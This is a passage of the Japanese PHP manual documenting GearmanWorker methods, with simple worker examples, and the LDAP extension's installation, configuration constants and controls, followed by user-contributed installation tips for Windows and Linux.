  • GearmanWorker::removeOptions() - Remove worker options
  • GearmanClient::setOptions() - Set client options

User Contributed Notes

There are no user contributed notes for this page.


Set socket I/O activity timeout

  • ≪ GearmanWorker::setOptions
  • GearmanWorker::timeout ≫
  • PHP Manual
  • GearmanWorker
  • Set socket I/O activity timeout

GearmanWorker::setTimeout

(PECL gearman >= 0.6.0)

GearmanWorker::setTimeout — Set socket I/O activity timeout

説明

public GearmanWorker::setTimeout ( int $timeout ) : bool

Sets the interval of time to wait for socket I/O activity.

パラメータ

timeout

An interval of time in milliseconds. A negative value indicates an infinite timeout.

返り値

Always returns true.

例

例1 A simple worker with a 5 second timeout

<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server.
$gmworker->addFunction("reverse", "reverse_fn");

# Set the timeout to 5 seconds
$gmworker->setTimeout(5000);

echo "Waiting for job...\n";
while(@$gmworker->work() || $gmworker->returnCode() == GEARMAN_TIMEOUT)
{
  if ($gmworker->returnCode() == GEARMAN_TIMEOUT)
  {
    # Normally one would want to do something useful here ...
    echo "Timeout. Waiting for next job...\n";
    continue;
  }

  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

echo "Done\n";

function reverse_fn($job)
{
  return strrev($job->workload());
}

?>

Running the worker with no submitted jobs will generate output that looks like the following:

Starting
Waiting for job...
Timeout. Waiting for next job...
Timeout. Waiting for next job...
Timeout. Waiting for next job...

参考

  • GearmanWorker::timeout() - Get socket I/O activity timeout

User Contributed Notes

There are no user contributed notes for this page.


Get socket I/O activity timeout

  • ≪ GearmanWorker::setTimeout
  • GearmanWorker::unregister ≫
  • PHP Manual
  • GearmanWorker
  • Get socket I/O activity timeout

GearmanWorker::timeout

(PECL gearman >= 0.6.0)

GearmanWorker::timeout — Get socket I/O activity timeout

説明

public GearmanWorker::timeout ( ) : int

Returns the current time to wait, in milliseconds, for socket I/O activity.

パラメータ

この関数にはパラメータはありません。

返り値

A time period is milliseconds. A negative value indicates an infinite timeout.

参考

  • GearmanWorker::setTimeout() - Set socket I/O activity timeout

User Contributed Notes

There are no user contributed notes for this page.


Unregister a function name with the job servers

  • ≪ GearmanWorker::timeout
  • GearmanWorker::unregisterAll ≫
  • PHP Manual
  • GearmanWorker
  • Unregister a function name with the job servers

GearmanWorker::unregister

(PECL gearman >= 0.6.0)

GearmanWorker::unregister — Unregister a function name with the job servers

説明

public GearmanWorker::unregister ( string $function_name ) : bool

Unregisters a function name with the job servers ensuring that no more jobs (for that function) are sent to this worker.

パラメータ

function_name

The name of a function to register with the job server

返り値

A standard Gearman return value.

参考

  • GearmanWorker::register() - Register a function with the job server
  • GearmanWorker::unregisterAll() - Unregister all function names with the job servers

User Contributed Notes

There are no user contributed notes for this page.


Unregister all function names with the job servers

  • ≪ GearmanWorker::unregister
  • GearmanWorker::wait ≫
  • PHP Manual
  • GearmanWorker
  • Unregister all function names with the job servers

GearmanWorker::unregisterAll

(PECL gearman >= 0.6.0)

GearmanWorker::unregisterAll — Unregister all function names with the job servers

説明

public GearmanWorker::unregisterAll ( ) : bool

Unregisters all previously registered functions, ensuring that no more jobs are sent to this worker.

パラメータ

この関数にはパラメータはありません。

返り値

A standard Gearman return value.

参考

  • GearmanWorker::register() - Register a function with the job server
  • GearmanWorker::unregister() - Unregister a function name with the job servers

User Contributed Notes

There are no user contributed notes for this page.


Wait for activity from one of the job servers

  • ≪ GearmanWorker::unregisterAll
  • GearmanWorker::work ≫
  • PHP Manual
  • GearmanWorker
  • Wait for activity from one of the job servers

GearmanWorker::wait

(PECL gearman >= 0.6.0)

GearmanWorker::wait — Wait for activity from one of the job servers

説明

public GearmanWorker::wait ( ) : bool

Causes the worker to wait for activity from one of the Gearman job servers when operating in non-blocking I/O mode. On failure, issues a E_WARNING with the last Gearman error encountered.

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Running worker in non-blocking mode

<?php

echo "Starting\n";

# Create our worker object
$worker= new GearmanWorker();

# Make the worker non-blocking
$worker->addOptions(GEARMAN_WORKER_NON_BLOCKING);

# Add the default server (localhost, port 4730)
$worker->addServer();

# Add our reverse function
$worker->addFunction('reverse', 'reverse_fn');

# Try to grab a job
while (@$worker->work() ||
       $worker->returnCode() == GEARMAN_IO_WAIT ||
       $worker->returnCode() == GEARMAN_NO_JOBS)
{
  if ($worker->returnCode() == GEARMAN_SUCCESS)
    continue;

  echo "Waiting for next job...\n";
  if (!@$worker->wait())
  {
    if ($worker->returnCode() == GEARMAN_NO_ACTIVE_FDS)
    {
      # We are not connected to any servers, so wait a bit before
      # trying to reconnect.
      sleep(5);
      continue;
    }
    break;
  }
}

echo "Worker Error: " . $worker->error() . "\n";

function reverse_fn($job)
{
  return strrev($job->workload());
}

?>

参考

  • GearmanWorker::work() - Wait for and perform jobs

User Contributed Notes

There are no user contributed notes for this page.


Wait for and perform jobs

  • ≪ GearmanWorker::wait
  • GearmanException ≫
  • PHP Manual
  • GearmanWorker
  • Wait for and perform jobs

GearmanWorker::work

(PECL gearman >= 0.5.0)

GearmanWorker::work — Wait for and perform jobs

説明

public GearmanWorker::work ( ) : bool

Waits for a job to be assigned and then calls the appropriate callback function. Issues an E_WARNING with the last Gearman error if the return code is not one of GEARMAN_SUCCESS, GEARMAN_IO_WAIT, or GEARMAN_WORK_FAIL.

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 GearmanWorker::work() example

<?php

# create the worker
$worker = new GearmanWorker();

# add the default job server (localhost)
$worker->addServer();

# add the reverse function
$worker->addFunction("reverse", "my_reverse_function");

# start te worker listening for job submissions
while ($worker->work());

function my_reverse_function($job)
{
  return strrev($job->workload());
}

?>

参考

  • GearmanWorker::addFunction() - Register and add callback function

User Contributed Notes

There are no user contributed notes for this page.


The GearmanException class

(PECL gearman >= 0.5.0)

はじめに

クラス概要

GearmanException extends Exception {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* メソッド */
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


Lightweight Directory Access Protocol

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • PHP LDAP コールの使用法
  • LDAP コントロール
  • 例
    • 基本的な使用法
    • LDAP コントロール
  • LDAP 関数
    • ldap_8859_to_t61 — 8859 文字を t61 文字に変換する
    • ldap_add_ext — LDAP ディレクトリにエントリを付加する
    • ldap_add — LDAP ディレクトリにエントリを付加する
    • ldap_bind_ext — LDAP ディレクトリにバインドする
    • ldap_bind — LDAP ディレクトリにバインドする
    • ldap_close — ldap_unbind のエイリアス
    • ldap_compare — 指定した DN のエントリで見付かった属性の値を比較する
    • ldap_connect — LDAP サーバーへ接続する
    • ldap_control_paged_result_response — LDAP ページネーションクッキーを取得する
    • ldap_control_paged_result — LDAP ページネーション制御情報を送信する
    • ldap_count_entries — 検索結果のエントリ数を数える
    • ldap_delete_ext — ディレクトリからエントリを削除する
    • ldap_delete — ディレクトリからエントリを削除する
    • ldap_dn2ufn — DN をユーザーに分かりやすい名前のフォーマットに変換する
    • ldap_err2str — LDAP のエラー番号をエラーメッセージ文字列に変換する
    • ldap_errno — 直近の LDAP コマンドの LDAP エラー番号を返す
    • ldap_error — 直近の LDAP コマンドの LDAP エラーメッセージを返す
    • ldap_escape — LDAP フィルタまたは DN で使われる文字列をエスケープする
    • ldap_exop_passwd — PASSWD 拡張オペレーションのヘルパ
    • ldap_exop_refresh — Refresh 拡張操作のヘルパ
    • ldap_exop_whoami — WHOAMI 拡張オペレーションのヘルパ
    • ldap_exop — 拡張されたオペレーションを実行する
    • ldap_explode_dn — DN を構成要素ごとに分割する
    • ldap_first_attribute — 最初の属性を返す
    • ldap_first_entry — 最初の結果 ID を返す
    • ldap_first_reference — 最初のリファレンスを返す
    • ldap_free_result — 結果メモリを開放する
    • ldap_get_attributes — 検索結果エントリから属性を得る
    • ldap_get_dn — 結果エントリから DN を得る
    • ldap_get_entries — 全ての結果エントリを得る
    • ldap_get_option — 指定したオプションの現在の値を得る
    • ldap_get_values_len — 結果エントリから全てのバイナリ値を得る
    • ldap_get_values — 結果エントリから全ての値を得る
    • ldap_list — 単一階層の検索を行う
    • ldap_mod_add_ext — 現在の属性に属性を追加する
    • ldap_mod_add — 現在の属性に属性を追加する
    • ldap_mod_del_ext — 現在の属性から属性を削除する
    • ldap_mod_del — 現在の属性から属性を削除する
    • ldap_mod_replace_ext — 属性を新規の値に置換する
    • ldap_mod_replace — 属性を新規の値に置換する
    • ldap_modify_batch — LDAP エントリの変更をまとめて実行する
    • ldap_modify — のエイリアス ldap_mod_replace
    • ldap_next_attribute — 結果における次の属性を得る
    • ldap_next_entry — 次の結果エントリを得る
    • ldap_next_reference — 次のリファレンスを得る
    • ldap_parse_exop — LDAP拡張オペレーションの結果オブジェクトをパースする
    • ldap_parse_reference — 参照エントリから情報を展開する
    • ldap_parse_result — 結果から情報を展開する
    • ldap_read — エントリを読み込む
    • ldap_rename_ext — エントリ名を修正する
    • ldap_rename — エントリ名を修正する
    • ldap_sasl_bind — SASL を使用して LDAP ディレクトリにバインドする
    • ldap_search — LDAP ツリーを探索する
    • ldap_set_option — 指定したオプションの値を設定する
    • ldap_set_rebind_proc — 参照先を再バインドするためのコールバック関数を設定する
    • ldap_sort — LDAP 結果エントリをクライアント側でソートする
    • ldap_start_tls — TLS を開始する
    • ldap_t61_to_8859 — t61 文字を 8859 文字に変換する
    • ldap_unbind — LDAP ディレクトリへのバインドを解除する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

LDAP とは Lightweight Directory Access Protocol を意味し、 "ディレクトリサーバー" にアクセスするために使用されるプロトコルです。 ディレクトリとは、 ツリー構造に情報を保持している特殊なデータベースのことです。

この概念は、ハードディスクのディレクトリ構造に似ています。 ただし、その内容は異なっており、ルートディレクトリは "世界" であり、 最初のレベルのサブディレクトリは "国" となります。ディレクトリ構造の 下位には会社や機関、場所のエントリがあります。さらに下位には、 人やおそらく道具や文書に関するディレクトリエントリもあります。

ハードディスク内のサブディレクトリにあるファイルを参照するには、 次のようにすることでしょう。

   /usr/local/myapp/docs

スラッシュが参照の各部分を区分し、左から右に解釈されます。

LDAP においてこの完全に正しいファイル参照に等価なものは "区分された名前(distinguished name)" であり、単に "dn" と表されます。 例として dn が次のようになっているとしましょう。

   cn=John Smith,ou=Accounts,o=My Company,c=US

カンマは各部分を区分し、右から左に解釈されます。この dn は 次のように解釈されます。

   country = US
   organization = My Company
   organizationalUnit = Accounts
   commonName = John Smith

ハードディスクのディレクトリ構造を管理する手法について明確な規約が ないのと同様に、ディレクトリサーバーマネージャーは、目的に適した あらゆる構造を設定することが可能です。しかし、実用的にはいくつかの 慣習があります。 利用可能なものに関する情報を持たずにデータベースを使用することが できないのと同様、ディレクトリの構造に関する情報なくして ディレクトリサーバーにアクセスするコードを書くことはできない ということが言えます。

LDAP に関する多くの情報が以下の場所にあります。

  • » Mozilla

  • » OpenLDAP Project

  • Internet Engineering Taskforce RFC » 4510 から » 4519

Netscape SDK では、有用な » プログラマーズガイド が HTML 形式で公開されています。

User Contributed Notes

There are no user contributed notes for this page.


要件

LDAP サポートを有効にして PHP をコンパイルするには、 » OpenLDAP あるいは » Bind9.net から LDAP クライアント ライブラリを入手し、コンパイルしておく必要があります。 PHP 5.6 以降の場合は、OpenLDAP 2.4 以降のバージョンが必要です。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHP の LDAP サポートはデフォルトで有効になっていません。 LDAP サポートを有効にして PHP をコンパイルするには、設定オプション --with-ldap[=DIR] を指定して PHP をコンパイルする必要があります。 DIR は LDAP をインストールしたディレクトリです。 SASL サポートを有効にするためには、システム上に sasl.h を用意し、 --with-ldap-sasl[=DIR] を指定する必要があります。

注意: Win32 ユーザーへの注意

この拡張モジュールを動作させるには、 Windows システムの PATH が通った場所に DLL ファイルが存在する必要があります。 FAQ の "Windows で PHP のディレクトリを PATH に追加するにはどうすればいいのですか?" で、その方法を説明しています。 DLL ファイルを PHP のフォルダから Windows のシステムディレクトリにコピーしても動作します (システムディレクトリは、デフォルトで PATH に含まれるからです) が、これは推奨しません。 この拡張モジュールを使用するには、以下のファイルが PATH の通った場所にある必要があります。 libeay32.dll および ssleay32.dll、 OpenSSL 1.1 以降の場合、 libcrypto-*.dll および libssl-*.dll

Oracle LDAP ライブラリを使用するには、Oracle 環境 が適切に設定されている 必要があります。

User Contributed Notes

p38fln at msn dot com 21-Jun-2019 05:40
On newer versions of Windows and Windows Server, if you've installed PHP from the Microsoft Web Platform Installer (PI) then all you have to do is add extension=php_ldap.dll to the extensions section and restart IIS.
chealer at gmail dot com 30-Jun-2015 09:44
Users of the "WAMP Server" software need to enter PHP's path... as the documentation says. Although apache\apache[...]\bin\ also contains the files mentioned, this does not suffice for some reason.
For me, the path is C:\wamp\bin\php\php5.5.12
Anonymous 15-Jun-2015 08:19
OCI client from Oracle distributes un ldap.h which may collision with the SO ldap.h.
You can, remove the Oracle ldap.h and build or configure php without oci8 and then add OCI8 later as a shared extension.
This latter step is easiest using PECL: pecl install oci8. You will then need to add 'extension=oci8.so' to your php.ini.
Cojak 23-Jan-2015 05:54
Runing in IIS 8.5 on Server 2012 R2 I tried to install PHP Manager same as nesbittp needed to install Dot Net 3.5 and HTTP Activation first then installed without issue.
silver dot alecs at yahoo dot com 27-Mar-2014 01:00
The easiest way to install ldap extension on Ubuntu 12.04 is:

sudo apt-get install php5-ldap

Also don't forget to laod the extension.
nesbittp 07-Mar-2014 12:29
To enable PHP LDAP for IIS, I installed PHP Manager which integrates with IIS. Open this up and you can enable/disable extensions. Enable php_ldap.dll and it works straight away.
tomasz() trejderowski!pl 26-Feb-2014 01:32
I can confirm Frank's note (made 1 year ago, see below) about requirement of "libsasl.dll" library. I have "PHP Version 5.4.7" and my Apache fails to restart with error saying, that "libsasl.dll" is missing, once I enable php_ldap.dll extension in PHP configuration.

What is even more strange, I DO HAVE this library (along with required "ssleay32.dll" and "libeay32.dll" in my PHP's directory and my PHP's directory IS listed in Windows' PATH variable and even so, I'm facing the problem of Apache failing to start.

The only workaround, I found is to copy "libsasl.dll" to "system32" system directory. Solution, that PHP documentation here discourages.

So, to summarize, section "Note to Win32 users" is twice wrong. You DO have to have "libsasl.dll" directory and you have to place it in your system folder.
Frank 18-Dec-2012 07:12
I found not only "Versions before PHP 4.3.0 additionally require libsasl.dll.".

If you use php-5.3.3-Win32-VC9-x86 or later Versions that
It's require libsasl.dll.

Running under Windows & Apache 2.2.8
PHP file is download from http://windows.php.net/downloads/releases/archives/

When I use php-5.2.x-Win32-VC6-x86 and php-5.3.x-Win32-VC6-x86

1.just uncomment extension=php_ldap.dll  in php.ini
2.Restart apache,it's ok

When I use php-5.3.x-Win32-VC9-x86 and php-5.4.x-Win32-VC9-x86

1.just uncomment extension=php_ldap.dll  in php.ini
2.Restart apache,always fail...
(only php-5.3.1-Win32-VC9-x86 & php-5.3.2-Win32-VC9-x86 is ok. )

[php-5.3.3-Win32-VC9-x86 or later Versions]
1.just uncomment extension=php_ldap.dll  in php.ini
2.copy  libsasl.dll to [apache folder]\bin
3.Restart apache,it's ok
msuzer 31-Jan-2012 07:51
If using a debian machine (debian or ubuntu variants) just do apt-get install php5-ldap, that's all to get ldap work on php. No need to get sources, try to compiling them and  so on.
kirk dot kerr at arcusfm dot com 10-Jan-2011 04:54
It seems that the php 5.3 windows installer does not install the ldap.dll to the hard drive as standard - during the install process i had to specifically request that it was installed.
tom at wheelercreek dot com 27-Apr-2009 10:23
Sorry - I was referring to "php_ldap.dll", not php_lamp.dll
tom at wheelercreek dot com 24-Apr-2009 03:57
If you're running on Windows XP with Apache, and you installed PHP 5 from the windows installer rather than the full zipped version - you may not have the php_ldap.dll file.

I had to follow the steps above, making sure PHP was added to my Windows Path, adding the 2 dll files to the system32 directory, also making sure the php.ini extensions directory was set correctly (in my case: C:\Program Files\PHP\ext).

Still was a getting a message about not being able to locate the "php_lamp.dll" file.  I finally went back, downloaded the full .zip file of latest PHP version, and that missing dll file is included there - along with many others.

Remember to restart Apache server after you do all this.
Steve 06-Aug-2008 11:03
Running under IIS, I found php_ldap would not load even though d:\php contained libeay32.dll and ssleay32.dll, and d:\php was in the PATH environment variable.

I finally tracked this down to the position of d:\php in the PATH.  If d:\php is near the head of the PATH, everything works fine.  If d:\php is near the end of the PATH, apparently it gets ignored by IIS (even though it works fine from the command line, e.g., with php -m).  Have no idea why this is.
Anonymous 26-May-2008 04:15
Running under IIS, I did not find the need to download and compile libraries.

1. Edit PHP.INI (which should be in windows directory)
2. Uncomment the line extension=php_ldap.dll
3. Restart IIS


実行時設定

php.ini の設定により動作が変化します。

LDAP 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
ldap.max_links | "-1" | PHP_INI_SYSTEM |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

ldap.max_links int

プロセスあたりの LDAP 接続の最大数。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

ほとんどの LDAP 関数は、リソースを操作するか、あるいはリソースを返します (たとえば ldap_connect() は正の LDAP リンク ID を返し、ほとんどの LDAP 関数はそれを使用します)。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

LDAP_DEREF_NEVER (int)
エイリアスの解釈ルール - Never
LDAP_DEREF_SEARCHING (int)
エイリアスの解釈ルール - Searching
LDAP_DEREF_FINDING (int)
エイリアスの解釈ルール - Finding
LDAP_DEREF_ALWAYS (int)
エイリアスの解釈ルール - Always
LDAP_OPT_DEREF (int)
サーバーでエイリアスをたどるときの、別の規則を指定します。
LDAP_OPT_SIZELIMIT (int)

検索操作で返すことができるエントリの最大数を指定します。

注意: 実際のサイズ制限は、サーバー側で設定されている最大エントリ数にも影響を受けます。 これらふたつの設定のうち小さい方が実際のサイズ制限となります。

LDAP_OPT_TIMELIMIT (int)
検索結果を待ち続ける秒数を指定します。

注意: 実際の時間制限は、サーバー側で設定されている最大時間にも影響を受けます。 これらふたつの設定のうち小さい方が実際の時間制限となります。

LDAP_OPT_NETWORK_TIMEOUT (int)
ldap_set_option() 用のオプションで、 ネットワークのタイムアウトを設定します (PHP 5.3.0 以降で利用可能です)。
LDAP_OPT_PROTOCOL_VERSION (int)
使用する LDAP プロトコルのバージョン (V2 あるいは V3) を指定します。
LDAP_OPT_ERROR_NUMBER (int)
直近のセッションのエラー番号
LDAP_OPT_REFERRALS (int)
LDAP サーバーから返される参照を自動的にたどるかどうかを指定します。
LDAP_OPT_RESTART (int)
接続が暗黙のうちにリスタートすべきかどうかを指定します。
LDAP_OPT_HOST_NAME (int)
接続を試みるスペース区切りのホストを取得/設定します。
LDAP_OPT_ERROR_STRING (int)
LDAP_OPT_DIAGNOSTIC_MESSAGE のエイリアス
LDAP_OPT_DIAGNOSTIC_MESSAGE (int)
直近のセッションのエラーメッセージを取得します。
LDAP_OPT_MATCHED_DN (int)
接続に紐付いた DN にマッチする値を取得/設定します。
LDAP_OPT_SERVER_CONTROLS (int)
リクエストごとに送信するサーバーコントロールのデフォルトリストを指定します。
LDAP_OPT_CLIENT_CONTROLS (int)
リクエストごとに処理するクライアントコントロールのデフォルトリストを指定します。
LDAP_OPT_DEBUG_LEVEL (int)
デバッグトレース用のビットレベルを指定します。
LDAP_OPT_X_KEEPALIVE_IDLE (int)
TCP が keepalive probe を送信しはじめる前に接続がアイドルになる秒数
LDAP_OPT_X_KEEPALIVE_PROBES (int)
接続を切断する前に TCP が送信する keepalive probe の最大数を指定します。
LDAP_OPT_X_KEEPALIVE_INTERVAL (int)
個別の keepalive probe の間隔を指定します。
LDAP_OPT_X_TLS_CACERTDIR (string)
CA 証明書を含んだディレクトリのパスを指定します。
LDAP_OPT_X_TLS_CACERTFILE (string)
CA 証明書ファイルのフルパスを指定します。
LDAP_OPT_X_TLS_CERTFILE (string)
証明書ファイルのフルパスを指定します。
LDAP_OPT_X_TLS_CIPHER_SUITE (string)
許可された暗号スイートを指定します。
LDAP_OPT_X_TLS_CRLCHECK (int)
CRL の評価戦略を指定します。 LDAP_OPT_X_TLS_CRL_NONE, LDAP_OPT_X_TLS_CRL_PEER, LDAP_OPT_X_TLS_CRL_ALL のいずれかでなければなりません。

注意: このオプションは OpenSSL のみ有効です。

LDAP_OPT_X_TLS_CRLFILE (string)
CRL ファイルのフルパスを指定します。

注意: このオプションは GnuTLS のみ有効です。

LDAP_OPT_X_TLS_DHFILE (string)
Diffie-Hellman 鍵交換のパラメータを含んだファイルのフルパスを指定します。

注意: このオプションは GnuTLS や Mozilla NSS からは無視されます。

LDAP_OPT_X_TLS_KEYFILE (string)
証明書のキーファイルのフルパスを指定します。
LDAP_OPT_X_TLS_PROTOCOL_MIN (int)
プロトコルの最小バージョン。 LDAP_OPT_X_TLS_PROTOCOL_SSL2, LDAP_OPT_X_TLS_PROTOCOL_SSL3, LDAP_OPT_X_TLS_PROTOCOL_TLS1_0, LDAP_OPT_X_TLS_PROTOCOL_TLS1_1, LDAP_OPT_X_TLS_PROTOCOL_TLS1_2 のうちのいずれかです。
LDAP_OPT_X_TLS_RANDOM_FILE (string)
システムのデフォルトのrandomファイルが利用できない場合の、randomファイルを取得/設定する
LDAP_OPT_X_TLS_REQUIRE_CERT (int)
証明書のチェック戦略を指定します。 LDAP_OPT_X_TLS_NEVER, LDAP_OPT_X_TLS_HARD, LDAP_OPT_X_TLS_DEMAND, LDAP_OPT_X_TLS_ALLOW, LDAP_OPT_X_TLS_TRY のうちのいずれかでなければなりません。 (PHP 7.0.0 以降で利用可能)
GSLC_SSL_NO_AUTH (int)
SSL 認証モード - 認証不要 (Oracle LDAPのみ)
GSLC_SSL_ONEWAY_AUTH (int)
SSL 認証モード - サーバ認証のみ必須 (Oracle LDAPのみ)
GSLC_SSL_TWOWAY_AUTH (int)
SSL 認証モード - サーバ認証とクライアント認証が両方必須 (Oracle LDAPのみ)
LDAP_EXOP_START_TLS (string)
拡張オペレーション定数 - Start TLS (» RFC 4511).
LDAP_EXOP_MODIFY_PASSWD (string)
拡張オペレーション定数 - Modify password (» RFC 3062).
LDAP_EXOP_REFRESH (string)
拡張オペレーション定数 - Refresh (» RFC 2589).
LDAP_EXOP_WHO_AM_I (string)
拡張オペレーション定数 - WHOAMI (» RFC 4532).
LDAP_EXOP_TURN (string)
拡張オペレーション定数 - Turn (» RFC 4531).
LDAP_CONTROL_MANAGEDSAIT (string)
コントロール定数 - Manage DSA IT (» RFC 3296). PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_PROXY_AUTHZ (string)
コントロール定数 - Proxied Authorization (» RFC 4370). PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_SUBENTRIES (string)
コントロール定数 - Subentries (» RFC 3672). PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_VALUESRETURNFILTER (string)
コントロール定数 - Filter returned values (» RFC 3876). PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_ASSERT (string)
コントロール定数 - Assertion (» RFC 4528). PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_PRE_READ (string)
コントロール定数 - Pre read (» RFC 4527). PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_POST_READ (string)
コントロール定数 - Post read (» RFC 4527). PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_SORTREQUEST (string)
コントロール定数 - Sort request (» RFC 2891). PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_SORTRESPONSE (string)
コントロール定数 - Sort response (» RFC 2891). PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_PAGEDRESULTS (string)
コントロール定数 - Paged results (» RFC 2696). PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_AUTHZID_REQUEST (string)
コントロール定数 - Authorization Identity Request (» RFC 3829). PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_AUTHZID_RESPONSE (string)
コントロール定数 - Authorization Identity Response (» RFC 3829). PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_SYNC (string)
コントロール定数 - Content Synchronization Operation (» RFC 4533). PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_SYNC_STATE (string)
コントロール定数 - Content Synchronization Operation State (» RFC 4533). PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_SYNC_DONE (string)
コントロール定数 - Content Synchronization Operation Done (» RFC 4533). PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_DONTUSECOPY (string)
コントロール定数 - Don't Use Copy (» RFC 6171). PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_PASSWORDPOLICYREQUEST (string)
コントロール定数 - パスワードポリシーのリクエスト PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_PASSWORDPOLICYRESPONSE (string)
コントロール定数 - パスワードポリシーのレスポンス PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_X_INCREMENTAL_VALUES (string)
コントロール定数 - Active Directory Incremental Values. PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_X_DOMAIN_SCOPE (string)
コントロール定数 - Active Directory Domain Scope. PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_X_PERMISSIVE_MODIFY (string)
コントロール定数 - Active Directory Permissive Modify. PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_X_SEARCH_OPTIONS (string)
コントロール定数 - Active Directory Search Options. PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_X_TREE_DELETE (string)
コントロール定数 - Active Directory Tree Delete. PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_X_EXTENDED_DN (string)
コントロール定数 - Active Directory Extended DN. PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_VLVREQUEST (string)
コントロール定数 - Virtual List View Request. PHP 7.3.0 以降で利用可能です。
LDAP_CONTROL_VLVRESPONSE (string)
コントロール定数 - Virtual List View Response. PHP 7.3.0 以降で利用可能です。

User Contributed Notes

There are no user contributed notes for this page.


PHP LDAP コールの使用法

LDAP コールを使用する前に、以下のことを知っておいてください。

  • 使用するディレクトリサーバーの名前またはアドレス

  • サーバーの "base dn" (このサーバーがあるワールドディレクトリ の部分で、"o=My Company,c=US" のようにすることができます)

  • サーバーへのアクセスにパスワードを必要とするかどうか (多くのサーバーは "匿名バインド" に関して読みこみを 許可するが、他の処理についてはパスワードを要求します)。

アプリケーションとして作成する LDAP コールのシーケンスは、 通常、次のようなパターンに沿っています。

  ldap_connect()    // サーバーへの接続を確立
     |
  ldap_bind()       // 匿名または認証された "ログイン"
     |
  ディレクトリの検索または更新等を行い、結果を表示する
     |
  ldap_close()      // "ログアウト"

User Contributed Notes

There are no user contributed notes for this page.


LDAP コントロール

コントロールは、リクエストを処理中にサーバの振る舞いを変更するために LDAP リクエストと一緒に送られる特別なオブジェクトです。 サーバがレスポンスと一緒に送ってくる、 追加の情報を提供するためのコントロールも存在します。 これは通常、リクエストに付けて送られたコントロールオブジェクトへの返答になります。

注意:

全てのコントロールが、全てのLDAPサーバによってサポートされているとは限りません。 どのコントロールをサーバがサポートしているのかを知るには、 フィルタ (objectClass=*) を付けて空の dn を読むことで、 root DSE に問い合わせる必要があります。

例1 ページ分けされた結果コントロールがサポートされているかをテストする

<?php

// $ds is a valid link identifier for a directory server

$result = ldap_read($ds, '', '(objectClass=*)', ['supportedControl']);
if (!in_array(LDAP_CONTROL_PAGEDRESULTS, ldap_get_entries($ds, $result)[0]['supportedcontrol'])) {
  die("This server does not support paged result control");
}

?>

PHP 7.3 以降では、全てのリクエスト関数で serverctrls パラメータを使って コントロールを送信することができます。関数の拡張バージョンが存在する場合、 完全なレスポンスオブジェクトを取得したい場合は、それを使うべきです。 そうすれば、ldap_parse_result() を使ってレスポンスのコントロールをパースできます。

serverctrls は、送信するコントロールごとに配列を含めなければなりません。 以下のキーが含まれます:

oid (string)
コントロールの OID。 LDAP_CONTROL_ から始まる定数を使うべきです。 LDAP の定数 を参照してください。
iscritical (bool)
コントロールを致命的なものとしてマークする場合、 サーバがそのコントロールをサポートしていない場合、 またはサーバが適用に失敗した場合、リクエストは失敗します。 コントロールによっては、 RFC で常に致命的だとマークされるべきだとされていることに注意してください。 デフォルトは false です。
value (mixed)
コントロールの値。詳細は以下を参照してください。

ほとんどのコントロールの値は、サーバに BERエンコードして送られます。 あなたは値を自分で BERエンコードするか、 配列に正しいキーを渡すことでBERエンコードを行わせることができます。 配列で渡すことをサポートしているコントロールは以下のとおりです:

  • LDAP_CONTROL_PAGEDRESULTS 期待されるキーは [size] と [cookie] です。

  • LDAP_CONTROL_ASSERT 期待されるキーは filter です。

  • LDAP_CONTROL_VALUESRETURNFILTER 期待されるキーは filter です。

  • LDAP_CONTROL_PRE_READ 期待されるキーは attrs です。

  • LDAP_CONTROL_POST_READ 期待されるキーは attrs です。

  • LDAP_CONTROL_SORTREQUEST attr, [oid], [reverse] をキーとして持つ配列の配列を期待しています。

  • LDAP_CONTROL_VLVREQUEST 期待されるキーは、before, after, attrvalue|(offset, count), [context] です。

次のコントロールには、値は必要ありません:

  • LDAP_CONTROL_PASSWORDPOLICYREQUEST

